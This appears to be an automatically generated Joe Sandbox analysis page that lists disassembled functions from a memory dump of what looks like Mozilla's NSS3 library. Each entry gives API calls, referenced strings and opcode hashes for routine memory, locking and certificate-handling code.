Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 307d81048b8986ea13270ee65ca85872e8bb42887a4bbb870d3e5ea03a1b4318
Instruction ID: 4a2e5f27c61be154aaaec444f872bce8f284c2ef7913e56eb9fba71a130a14ff
Opcode Fuzzy Hash: 307d81048b8986ea13270ee65ca85872e8bb42887a4bbb870d3e5ea03a1b4318
Instruction Fuzzy Hash: 9521C3B1D013148FEB10DFA4D9065EEBBF4AF1520CF254068D849BB701FB31AA5ACBA1

Function 6CED3C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CED3C9E
EnterCriticalSection.KERNEL32(?), ref: 6CED3CAE
PR_Unlock.NSS3(?), ref: 6CED3CEA
PR_SetError.NSS3(00000000,00000000), ref: 6CED3D02

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 8df10a4b7f792bf1e6f435a940b24814e4894f52cda4dfd77d61153560c3d5b8
Instruction ID: 3e36d62ea38cc882fed920bb63c702341356a034060edff9abb89a0de0a1af06
Opcode Fuzzy Hash: 8df10a4b7f792bf1e6f435a940b24814e4894f52cda4dfd77d61153560c3d5b8
Instruction Fuzzy Hash: 8F11B179A00204AFDB40AF24E848A9A3778EF09368F664564ED089B712E731ED45CBE1

Function 6CEDECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CEDF0AD,6CEDF150,?,6CEDF150,?,?,?), ref: 6CEDECBA

Part of subcall function 6CEE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE887ED,00000800,6CE7EF74,00000000), ref: 6CEE1000
Part of subcall function 6CEE0FF0: PR_NewLock.NSS3(?,00000800,6CE7EF74,00000000), ref: 6CEE1016
Part of subcall function 6CEE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE887ED,00000008,?,00000800,6CE7EF74,00000000), ref: 6CEE102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CEDECD1

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CEDED02

Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CEDED5A

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 524a2134e0c6d7cc0c0f2cbe3c9467be06f0e9ac83adc9b7063f1f2b74230722
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: FB21A4B1900B425BE700CF25D948B56B7F4BFA934CF26C219E81C87762EB70E595C6D1

Function 6CF0EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CEF7FFA,?,6CEF9767,?,8B7874C0,0000A48E), ref: 6CF0EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CEF7FFA,?,6CEF9767,?,8B7874C0,0000A48E), ref: 6CF0EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CEF7FFA,?,6CEF9767,?,8B7874C0,0000A48E), ref: 6CF0EE14

Part of subcall function 6CEE0BE0: malloc.MOZGLUE(6CED8D2D,?,00000000,?), ref: 6CEE0BF8
Part of subcall function 6CEE0BE0: TlsGetValue.KERNEL32(6CED8D2D,?,00000000,?), ref: 6CEE0C15

memcpy.VCRUNTIME140(?,?,6CEF9767,00000000,00000000,6CEF7FFA,?,6CEF9767,?,8B7874C0,0000A48E), ref: 6CF0EE33

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 21f6931aa30def73c90c14eca85ee3c31a794d0095e726a2dc40f7418d3a3894
Instruction ID: 063083d84c94e43678c2c08bbcf42258f24259887d8d8c15a7adf785b7fc1e3a
Opcode Fuzzy Hash: 21f6931aa30def73c90c14eca85ee3c31a794d0095e726a2dc40f7418d3a3894
Instruction Fuzzy Hash: AE1125B1B0570AABEB109EA5DC94B82B3A8FF0475CF214535E959C7A40E730F464C7E2

Function 6CE8DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CEA06A0: TlsGetValue.KERNEL32 ref: 6CEA06C2
Part of subcall function 6CEA06A0: EnterCriticalSection.KERNEL32(?), ref: 6CEA06D6
Part of subcall function 6CEA06A0: PR_Unlock.NSS3 ref: 6CEA06EB

CERT_NewCertList.NSS3 ref: 6CE8DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6CE8DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CE8DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE8E029

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 91796c62ab4541cd38505ad988734b97ae47be0bc2ceae2901447c554908c08d
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 00116F79A02A066FDB110EA85C00BAB75B8AF8135CF340938E81CCBB10E736C81592E1

Function 6CEA8DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CEA8DE7
EnterCriticalSection.KERNEL32 ref: 6CEA8DFC
PR_Unlock.NSS3 ref: 6CEA8E2D
PR_SetError.NSS3 ref: 6CEA8E49

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 7a2daac3211f72d6b28cd12c1eeac6da618dc9fcdcb82b944f0e38042f3361e4
Instruction ID: e0c0c047e8e3bddda5a9970633dffecf1f1f06c3f44690c1897f5a0346033c12
Opcode Fuzzy Hash: 7a2daac3211f72d6b28cd12c1eeac6da618dc9fcdcb82b944f0e38042f3361e4
Instruction Fuzzy Hash: D3114F71A05A009FD740AFB8D444659BBF4FF05314F51496ADD89DB700EB34E895CBD2

Function 6CF2AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CF15F17,?,?,?,?,?,?,?,?,6CF1AAD4), ref: 6CF2AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CF15F17,?,?,?,?,?,?,?,?,6CF1AAD4), ref: 6CF2ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CF1AAD4), ref: 6CF2ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CF1AAD4), ref: 6CF2ACDB

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 01148fd44109b6cccd0247531a1d24f6beaa8b834d11f0618a7104500ce4131f
Instruction ID: 51ae2347d7c84256e98c570c4a48668936c5b8f3a89cb309c8bf72c9b31a9a5d
Opcode Fuzzy Hash: 01148fd44109b6cccd0247531a1d24f6beaa8b834d11f0618a7104500ce4131f
Instruction Fuzzy Hash: 74019EB5B01B119BE750DF79D908743B7E8BF00659B104839D85AC3E00EB34F014CB91

Function 6CE91DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CE91DFB

Part of subcall function 6CE895B0: TlsGetValue.KERNEL32(00000000,?,6CEA00D2,00000000), ref: 6CE895D2
Part of subcall function 6CE895B0: EnterCriticalSection.KERNEL32(?,?,?,6CEA00D2,00000000), ref: 6CE895E7
Part of subcall function 6CE895B0: PR_Unlock.NSS3(?,?,?,?,6CEA00D2,00000000), ref: 6CE89605

PR_EnterMonitor.NSS3 ref: 6CE91E09

Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490AB
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490C9
Part of subcall function 6CF49090: EnterCriticalSection.KERNEL32 ref: 6CF490E5
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF49116
Part of subcall function 6CF49090: LeaveCriticalSection.KERNEL32 ref: 6CF4913F

Part of subcall function 6CE8E190: PR_EnterMonitor.NSS3(?,?,6CE8E175), ref: 6CE8E19C
Part of subcall function 6CE8E190: PR_EnterMonitor.NSS3(6CE8E175), ref: 6CE8E1AA
Part of subcall function 6CE8E190: PR_ExitMonitor.NSS3 ref: 6CE8E208
Part of subcall function 6CE8E190: PL_HashTableRemove.NSS3(?), ref: 6CE8E219
Part of subcall function 6CE8E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE8E231
Part of subcall function 6CE8E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE8E249
Part of subcall function 6CE8E190: PR_ExitMonitor.NSS3 ref: 6CE8E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE91E37
PR_ExitMonitor.NSS3 ref: 6CE91E4A

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: d0290818c04890969dc662102bdcc7dc3826bce065556ecf2d27cd787eedf8ff
Instruction ID: dff220aa7248e9313ff6ad0718ce619929a435ed584c12c8f3364c10d7aa3df9
Opcode Fuzzy Hash: d0290818c04890969dc662102bdcc7dc3826bce065556ecf2d27cd787eedf8ff
Instruction Fuzzy Hash: CC01F271B01250A7EB405BA9EC00F5677BCAB46B4CF304034E8199BB91EB71E815DBD2

Function 6CE91D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE91D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CE91D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6CE91D9C
free.MOZGLUE(00000000), ref: 6CE91DB8

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: a6159d8a2c0d5547811af47a0d213d24c3620c02ed2138e8597714c483ec642f
Instruction ID: e892504250ab745fdcee8e7c846e410a67c4a86c74bd784099ad64a428bb1819
Opcode Fuzzy Hash: a6159d8a2c0d5547811af47a0d213d24c3620c02ed2138e8597714c483ec642f
Instruction Fuzzy Hash: FBF0F9B2A4121057FB105EDA5C42B87367C9BC57DDF300275DD1D8BB50DA70E80582E1

Function 6CF2AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CF15D40,00000000,?,?,6CF06AC6,6CF1639C), ref: 6CF2AC2D

Part of subcall function 6CECADC0: TlsGetValue.KERNEL32(?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAE10
Part of subcall function 6CECADC0: EnterCriticalSection.KERNEL32(?,?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAE24
Part of subcall function 6CECADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CEAD079,00000000,00000001), ref: 6CECAE5A
Part of subcall function 6CECADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAE6F
Part of subcall function 6CECADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAE7F
Part of subcall function 6CECADC0: TlsGetValue.KERNEL32(?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAEB1
Part of subcall function 6CECADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAEC9

PK11_FreeSymKey.NSS3(?,6CF15D40,00000000,?,?,6CF06AC6,6CF1639C), ref: 6CF2AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CF15D40,00000000,?,?,6CF06AC6,6CF1639C), ref: 6CF2AC59
free.MOZGLUE(8CB6FF01,6CF06AC6,6CF1639C,?,?,?,?,?,?,?,?,?,6CF15D40,00000000,?,6CF1AAD4), ref: 6CF2AC62

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 5964db7f6e02afcae4d079644935059f08fff3f9002da1db1eb3e592ca573d8d
Instruction ID: 3aa4f9303857f13d66c705ad3680f054486d670fed776581f0499d7defc0c744
Opcode Fuzzy Hash: 5964db7f6e02afcae4d079644935059f08fff3f9002da1db1eb3e592ca573d8d
Instruction Fuzzy Hash: 19014BB56406109FDB00DF65E9C0B467BF8AF44B5CF1880A8E9498F706D739E848CBA2

Function 6CEDFD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE89003,?), ref: 6CEDFD91

Part of subcall function 6CEE0BE0: malloc.MOZGLUE(6CED8D2D,?,00000000,?), ref: 6CEE0BF8
Part of subcall function 6CEE0BE0: TlsGetValue.KERNEL32(6CED8D2D,?,00000000,?), ref: 6CEE0C15

PORT_Alloc_Util.NSS3(A4686CEE,?), ref: 6CEDFDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686CEE,?,?), ref: 6CEDFDC4
free.MOZGLUE(00000000,?,?), ref: 6CEDFDD1

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: cd92fab9181123855dee1dddcfb993a6c9e21545b9d278c152eb856a6f05fb33
Instruction ID: 990dda6bd7e33ec198076bc4d2f8453f4ab9e1d7598085f5d91ac9c003960609
Opcode Fuzzy Hash: cd92fab9181123855dee1dddcfb993a6c9e21545b9d278c152eb856a6f05fb33
Instruction Fuzzy Hash: DDF0C8B5A012065BEB009F95DC90A177778FF8529DB258134ED098BB01EB31E816C7E2

Function 6CF9CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CF9CC61
free.MOZGLUE ref: 6CF9CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CF9CC80
free.MOZGLUE(?), ref: 6CF9CC87

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 3f72f5d6d6523ce135a847e8277033f1d4fbc34c493ff9e6529f027480c10b6c
Instruction ID: 278c292c07279796ca445ae2cb5542333c0a958be8fa9ef59df5f8597875a92f
Opcode Fuzzy Hash: 3f72f5d6d6523ce135a847e8277033f1d4fbc34c493ff9e6529f027480c10b6c
Instruction Fuzzy Hash: C1E030767006189BCA10EFA8DC4488677ACEE492703150565E691C3700D631F905CBA1

Function 6CE79DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6CE79E1F

Part of subcall function 6CE313C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CE02352,?,00000000,?,?), ref: 6CE31413
Part of subcall function 6CE313C0: memcpy.VCRUNTIME140(00000000,R#l,00000002,?,?,?,?,6CE02352,?,00000000,?,?), ref: 6CE314C0

Strings

ESCAPE expression must be a single character, xrefs: 6CE79F78
LIKE or GLOB pattern too complex, xrefs: 6CE7A006

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 7bc39963c3e82807b372efcb13f7ea9cc7587837f81869b840c84c31ab4116d7
Instruction ID: 4e599a271fcfbe3c1d842eae627f2d8bf7b4775b2bacc26e2ac403f429da0bf0
Opcode Fuzzy Hash: 7bc39963c3e82807b372efcb13f7ea9cc7587837f81869b840c84c31ab4116d7
Instruction Fuzzy Hash: 1B810871A042514BD724CF39C4813B9B7F2EF4631CF388659D8A48BB85D736D886C7A1

Function 6CED4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CED4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CED4DE6

Strings

%d.%d, xrefs: 6CED4DDE

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 0ea42032bf275664aa8ae19ce3cb42309ed068c0d0f1a6d80f96ac093bdfcbfb
